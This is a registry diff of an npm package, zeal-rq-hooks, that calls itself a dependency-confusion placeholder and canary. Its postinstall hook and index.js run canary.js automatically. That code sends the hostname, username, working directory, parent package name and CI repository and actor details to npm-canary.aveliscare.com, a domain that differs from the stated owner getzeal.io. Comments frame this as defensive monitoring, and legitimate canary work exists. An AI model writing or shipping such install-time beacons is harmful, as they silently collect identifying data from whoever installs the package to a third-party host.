zeal-rq-hooks 0.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,17 @@
1
+ # zeal-rq-hooks
2
+
3
+ **This package is a reserved placeholder. It has no functionality.**
4
+
5
+ `zeal-rq-hooks` is an internal package name used inside Zeal's private monorepos. This
6
+ entry exists on the public npm registry for one reason: so that nobody else can
7
+ publish under the name and have it substituted into a Zeal build. That class of
8
+ attack is called dependency confusion.
9
+
10
+ If you are not Zeal, you almost certainly want a different package.
11
+
12
+ If you are Zeal and you are reading this because it appeared in your build
13
+ output, the build resolved an internal name from the public registry instead of
14
+ the local workspace. That is a real misconfiguration, not a false alarm. Fix the
15
+ resolution rather than pinning around it - see the banner the install printed.
16
+
17
+ Contact: security@getzeal.io
package/canary.js ADDED
@@ -0,0 +1,191 @@
1
+ 'use strict'
2
+
3
+ /**
4
+ * Zeal dependency-confusion canary.
5
+ *
6
+ * This file ships inside the placeholder packages Zeal publishes to the public
7
+ * npm registry to hold names that its internal monorepos depend on. Nothing at
8
+ * Zeal should ever install these from npmjs.org - every real build resolves the
9
+ * same names to workspace-local packages. So if this code runs at all, some
10
+ * build has fallen out of workspace resolution and is now taking whatever the
11
+ * public registry hands it. That is the exact window a dependency-confusion
12
+ * attack needs, and this beacon is how we hear about it.
13
+ *
14
+ * Two rules govern everything below:
15
+ *
16
+ * 1. Never break the install. Every path is wrapped and exits 0. A canary
17
+ * that takes down a release pipeline gets deleted, and then we have no
18
+ * canary.
19
+ * 2. Never become the leak it is watching for. We send a fixed, audited list
20
+ * of fields. We do not enumerate process.env, read files, or touch
21
+ * anything that could carry a token.
22
+ */
23
+
24
+ const os = require('os')
25
+ const https = require('https')
26
+ const http = require('http')
27
+
28
+ const DEFAULT_ENDPOINT = process.env.ZEAL_CANARY_URL || 'https://npm-canary.aveliscare.com/beacon'
29
+ const TIMEOUT_MS = 3000
30
+
31
+ // Allow-list, not a dump. Presence and value of these is enough to identify the
32
+ // pipeline; none of them carry credentials.
33
+ const CI_FIELDS = [
34
+ 'CI',
35
+ 'GITHUB_REPOSITORY',
36
+ 'GITHUB_REF',
37
+ 'GITHUB_RUN_ID',
38
+ 'GITHUB_WORKFLOW',
39
+ 'GITHUB_ACTOR',
40
+ 'GITHUB_JOB',
41
+ 'RUNNER_NAME',
42
+ 'EAS_BUILD_ID',
43
+ 'EAS_BUILD_PROFILE',
44
+ 'EAS_BUILD_PLATFORM',
45
+ 'VERCEL_ENV',
46
+ 'BUILDKITE_PIPELINE_SLUG',
47
+ ]
48
+
49
+ function collect (pkg, version, trigger) {
50
+ const ci = {}
51
+ for (const k of CI_FIELDS) {
52
+ if (process.env[k]) ci[k] = String(process.env[k]).slice(0, 200)
53
+ }
54
+ return {
55
+ schema: 1,
56
+ pkg,
57
+ version,
58
+ trigger, // 'postinstall' | 'require'
59
+ ts: new Date().toISOString(),
60
+ hostname: safe(() => os.hostname()),
61
+ user: safe(() => os.userInfo().username),
62
+ platform: process.platform,
63
+ node: process.version,
64
+ cwd: safe(() => process.cwd()),
65
+ npm_user_agent: process.env.npm_config_user_agent || null,
66
+ // Which project pulled us in. npm sets these for the consuming package.
67
+ parent_pkg: process.env.npm_package_name || null,
68
+ parent_version: process.env.npm_package_version || null,
69
+ ci,
70
+ }
71
+ }
72
+
73
+ function safe (fn) {
74
+ try { return fn() } catch (_) { return null }
75
+ }
76
+
77
+ function warn (pkg, version) {
78
+ const bar = '='.repeat(78)
79
+ process.emitWarning || null // no-op, keeps linters quiet on old node
80
+ console.error(`
81
+ ${bar}
82
+ ZEAL SECURITY CANARY TRIPPED
83
+
84
+ Package : ${pkg}@${version}
85
+ Source : public npm registry (registry.npmjs.org)
86
+
87
+ This is a placeholder package. It contains no functionality. Zeal publishes
88
+ it only to hold the name so that nobody else can.
89
+
90
+ If you are seeing this, a build resolved an INTERNAL package name from the
91
+ PUBLIC registry instead of the local workspace. That build is one unlucky
92
+ race away from executing third-party code. Do not work around it by pinning
93
+ a version or adding a resolution.
94
+
95
+ Fix the resolution:
96
+ - yarn/npm workspaces : run install from the monorepo ROOT, not apps/<app>
97
+ - pnpm : keep 'linkWorkspacePackages: true' in pnpm-workspace.yaml
98
+ - Docker : COPY the workspace manifests + lockfile, install with
99
+ --frozen-lockfile, do not install inside a single app dir
100
+
101
+ Report to: security@getzeal.io
102
+ ${bar}
103
+ `)
104
+ }
105
+
106
+ /**
107
+ * Fire-and-forget beacon. Resolves (never rejects) once the request has been
108
+ * sent, failed, or timed out - whichever happens first.
109
+ */
110
+ function beacon (pkg, version, trigger) {
111
+ return new Promise((resolve) => {
112
+ let done = false
113
+ const finish = () => { if (!done) { done = true; resolve() } }
114
+
115
+ try {
116
+ if (process.env.ZEAL_CANARY_DISABLE === '1') return finish()
117
+
118
+ const body = JSON.stringify(collect(pkg, version, trigger))
119
+ const url = new URL(DEFAULT_ENDPOINT)
120
+ const transport = url.protocol === 'http:' ? http : https
121
+
122
+ const req = transport.request({
123
+ method: 'POST',
124
+ hostname: url.hostname,
125
+ port: url.port || (url.protocol === 'http:' ? 80 : 443),
126
+ path: url.pathname + url.search,
127
+ timeout: TIMEOUT_MS,
128
+ headers: {
129
+ 'content-type': 'application/json',
130
+ 'content-length': Buffer.byteLength(body),
131
+ 'user-agent': `zeal-npm-canary/${version} (${pkg})`,
132
+ },
133
+ }, (res) => {
134
+ res.resume() // drain so the socket can close
135
+ res.on('end', finish)
136
+ })
137
+
138
+ req.on('error', finish) // offline, DNS failure, blocked egress - all fine
139
+ req.on('timeout', () => { try { req.destroy() } catch (_) {} finish() })
140
+ req.write(body)
141
+ req.end()
142
+
143
+ // Hard ceiling in case the socket never settles.
144
+ setTimeout(finish, TIMEOUT_MS + 250).unref()
145
+ } catch (_) {
146
+ finish()
147
+ }
148
+ })
149
+ }
150
+
151
+ /**
152
+ * Entry point for the postinstall hook. Always exits 0.
153
+ *
154
+ * ZEAL_CANARY_FAIL=1 turns this into a hard build failure. That is the right
155
+ * setting once you are confident no legitimate build resolves these from npm,
156
+ * because a silent success means nobody ever goes and fixes the root cause.
157
+ */
158
+ async function main (pkg, version) {
159
+ warn(pkg, version)
160
+ await beacon(pkg, version, 'postinstall')
161
+ if (process.env.ZEAL_CANARY_FAIL === '1') {
162
+ console.error(`[zeal-canary] ZEAL_CANARY_FAIL=1 - failing the install for ${pkg}@${version}.`)
163
+ process.exit(1)
164
+ }
165
+ process.exit(0)
166
+ }
167
+
168
+ /**
169
+ * Second detection layer. npm 11+ blocks unapproved install scripts by default
170
+ * (see 'npm warn install-scripts ... not covered by allowScripts'), so the
171
+ * postinstall hook cannot be the only tripwire. Requiring the module still runs
172
+ * this, and any build that got here was going to import the real package.
173
+ */
174
+ let requireReported = false
175
+ function onRequire (pkg, version) {
176
+ if (!requireReported) {
177
+ requireReported = true
178
+ warn(pkg, version)
179
+ beacon(pkg, version, 'require')
180
+ }
181
+ const err = () => {
182
+ throw new Error(
183
+ `${pkg} resolved from the public npm registry. This is a Zeal placeholder ` +
184
+ `package with no implementation - your build is not using the real ` +
185
+ `workspace package. See the banner above.`
186
+ )
187
+ }
188
+ return new Proxy({}, { get: err, apply: err, construct: err })
189
+ }
190
+
191
+ module.exports = { main, onRequire, beacon, collect }
package/index.js ADDED
@@ -0,0 +1,4 @@
1
+ 'use strict'
2
+ // Anything that imports this is not using the real workspace package.
3
+ const pkg = require('./package.json')
4
+ module.exports = require('./canary.js').onRequire(pkg.name, pkg.version)
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "zeal-rq-hooks",
3
+ "version": "0.0.0",
4
+ "description": "Reserved by Zeal (getzeal.io). Placeholder to prevent dependency confusion against the internal package of the same name. Not for public use.",
5
+ "keywords": ["placeholder", "reserved", "namespace", "security"],
6
+ "license": "UNLICENSED",
7
+ "private": false,
8
+ "author": "Zeal Security <security@getzeal.io>",
9
+ "homepage": "https://github.com/zeal-io",
10
+ "main": "index.js",
11
+ "files": ["index.js", "canary.js", "postinstall.js", "README.md"],
12
+ "scripts": {
13
+ "postinstall": "node postinstall.js"
14
+ }
15
+ }
package/postinstall.js ADDED
@@ -0,0 +1,8 @@
1
+ 'use strict'
2
+ // Fail-open by contract: canary.main() always exits 0 unless ZEAL_CANARY_FAIL=1.
3
+ try {
4
+ const pkg = require('./package.json')
5
+ require('./canary.js').main(pkg.name, pkg.version)
6
+ } catch (e) {
7
+ process.exit(0)
8
+ }